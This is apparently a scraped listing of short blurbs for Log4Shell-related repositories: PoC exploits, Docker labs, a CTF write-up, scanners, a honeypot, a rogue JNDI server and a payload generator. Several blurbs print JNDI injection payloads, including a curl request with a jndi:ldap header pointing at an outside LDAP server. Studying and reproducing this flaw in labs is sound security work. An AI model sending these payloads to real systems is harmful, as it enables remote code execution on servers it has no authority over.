CVE-2021-45046-Info

CVE-2021-45046-Info Oh no another one POC root@kitploit: $ctx:apiversion - %dyyyy-MM-dd HH:mm:ss %-5p %c1:%L - %mnolookups%n LINKS https://nvd.nist.gov/vuln/detail/CVE-2021-45046 https://www.datadoghq.com/blog/log4j-log4shell-vulnerability-overview-and-remediation/...

CVE-2026-21011-Log4j-style-JNDI-Injection-in-Custom-Logger-Simulated-

CVE-2026-21011 – Log4j‑style JNDI Injection in Custom Logger Simulated Program Code Java simulation in Python root@kitploit: log4jsim.py - Custom logger that evaluates $... patterns import subprocess, re def logmessage: Vulnerable: looks up JNDI-like syntax and executes pattern = r'$\jndi:.+?'...

homelab-CVE-2021-44228

Homelab: Log4Shell CVE-2021-44228 on Apache Solr Controlled Docker environment to reproduce and study the Log4Shell vulnerability in Apache Solr. The Environment Target solr-lab: Apache Solr v8.11.0 vulhub/solr:8.11.0 running a vulnerable version of Log4j. Attacker kali-lab: Basic Kali Linux...

Log4Shell-Honeypot

Log4Shell Honeypot Enhanced dockerized honeypot for CVE-2021-44228 with comprehensive security features, monitoring, and alerting capabilities. Features Enhanced Detection Comprehensive Pattern Matching : Detects 20+ Log4Shell exploit patterns including JNDI, LDAP, RMI, DNS, and environment...

log4j-shell-poc

log4j-shell-poc 最近発見されたCVE-2021-44228脆弱性の概念実証（PoC）です。 最近、log4j（Javaのログライブラリ）に新たな脆弱性が発見されました。log4jはElasticsearch、Minecraftなど非常に多くのアプリケーションで広く使用されています。 このリポジトリには、脆弱なサンプルアプリケーションとその概念実証（PoC）エクスプロイトが含まれています。 概念実証（PoC） PoCとして、プロセスを自動化するPythonファイルがあります。 必要条件: root@kitploit: pip install -r...

log4j-shell-poc

log4j-shell-poc A Proof-Of-Concept for the recently found CVE-2021-44228 vulnerability. Recently there was a new vulnerability in log4j, a java logging library that is very widely used in the likes of elasticsearch, minecraft and numerous others. In this repository there is an example vulnerable...

nse-log4shell

nse-log4shell Nmap NSE scripts to check against log4shell or LogJam vulnerabilities CVE-2021-44228. NSE scripts check most popular exposed services on the Internet. It is basic script where you can customize payload. Examples Note that NSE scripts will only issue the requests to the services. Nma...

log4j2-test

Log4j2 2.14.1 LDAP Remote Code Execution Vulnerability CVE-2021-44228 Verification 🎈 Tested on Spring Boot 2.x environment Vulnerability advisory https://nvd.nist.gov/vuln/detail/CVE-2021-44228 target-server pom.xml : Downgraded Log4j2 version to a vulnerable version root@kitploit: 17 2.14.1...

THM---Solar-exploiting-Log-4j

THM---Solar-exploiting-Log-4j This room is based on exploiting the notorious Log4j vulnerability CVE-2021-44228, also referred to as the Log4Shell. The weakness enables attackers to execute a remote code via injection of the malicious payloads into the log messages. TASK 1 – CVE-2021-44228...

log4shell_lab

log4shell exploit lab This repository is a single-line setup for log4shell exploit lab. Setup the lab: docker-compose up -d Run exploit: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" Then go to vul container and see that indeed we pwned the machine: Video...

log4j-vul

log4j-vul This project is just to show Apache Log4j2 Vulnerability - aka CVE-2021-44228 Java: java version "1.8.0121" Compile: from src folder javac -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar com\example\Log4jVul.java Execute\Run: from src folder java -classpath...

Log4Shell

Log4Shell CVE-2021-44228 ☠️ Log4Shell PoC CVE-2021-44228 Proof-of-concept exploit for the critical Log4Shell vulnerability in Apache Log4j ≤ 2.14.1, which allows remote code execution via JNDI injections. ⚠️ This PoC is for educational purposes and controlled testing in authorized environments...

Log4Shell-Vulnerability-Replication

CVE-2021-44228 Log4Shell Vulnerability Complete Replication Record This record is based on the Apache Solr 8.11.0 target environment provided by Vulhub, fully replicating the Log4j2 JNDI injection vulnerability, and successfully verifying the vulnerability's existence through DNSLog and local LDA...

rogue-jndi

Rogue JNDI 一个用于 JNDI 注入攻击的恶意 LDAP 服务器。 描述 该项目包含用于利用不安全的默认 Java JNDI API 的 LDAP 和 HTTP 服务器。 为了执行攻击，你可以在本地启动这些服务器，然后在存在漏洞的客户端上触发 JNDI 解析，例如： root@kitploit: InitialContext.doLookup"ldap://yourserver.com:1389/o=reference"; 这将从存在漏洞的客户端发起一个到本地 LDAP 服务器的连接。然后，本地服务器会响应一个包含其中一个 payload 的恶意条目，该条目可用于实现远程代码执...

log4j-payload-generator

0x01 Introduction log4j-payload-generator is a woodpecker framework plugin for generating log4j JNDI injection vulnerability payloads. It can currently generate the following 5 types of payloads with one click. 1. Raw payload 2. upper|lower:x type randomly mixed payload 3. upper|lower:x fully...

log4shell

Log4Shell This project is a demonstration of how the log4shell security vulnerability works. This vulnerability is described in CVE-2021-44228. The project is intended for educational purposes only. It should only be used on your own system and solely for experimental purposes. Any execution is...

CVE-2021-44228

CVE-2021-44228 Log4j2 Component Command Execution RCE Code By: Junsheng @Orange Cyber Security Lab Orange Cyber Security Lab https://0range.team/ 0x00 Risk Overview This tool is for authorized security testing only. Unauthorized attacks on illegal sites are prohibited. Read online 《Cybersecurity...

Log4Shell

Log4Shell This repository is for Log4j 2021 CVE-2021-44228 Vulnerability demonstration and mitigation. What is Log4Shell? The CVE-2021-44228 / Log4Shell vulnerability consists of injecting vulnerable software with a malicious payload, which will ask Log4J to obtain a value from a third-party...

Log4j_Vulnerability_Demo

Log4jVulnerabilityDemo 一个用于演示 Log4j 漏洞（CVE-2021-44228）如何被利用的简单程序。 运行演示： 要启动该程序，只需在 UNIX 系统上运行 start.sh，或在 Windows 上运行 start.bat。 用户输入将被读取，并使用 Log4j 框架记录到控制台。 默认情况下，Log4j 库生成的日志消息不会为 JNDI 替换提供任何服务器不可达 / 主机未找到的错误。（我想这也是该漏洞能够被隐蔽利用的一个主要原因） 也可以尝试使用子域名，例如 $jndi:ldap://test29.google.com/blah，有时 JNDI...

log4j-polkit-poc

log4j CVE-2021-44228 + polkit CVE-2021-4034 Vulnerable instance for the log4j apache exploit and privilege escalation using polkit The vulnable spring-boot-application.jar was extracted from this docker image The malicious JNDI server was downloaded from here and referenced in this article. PoC...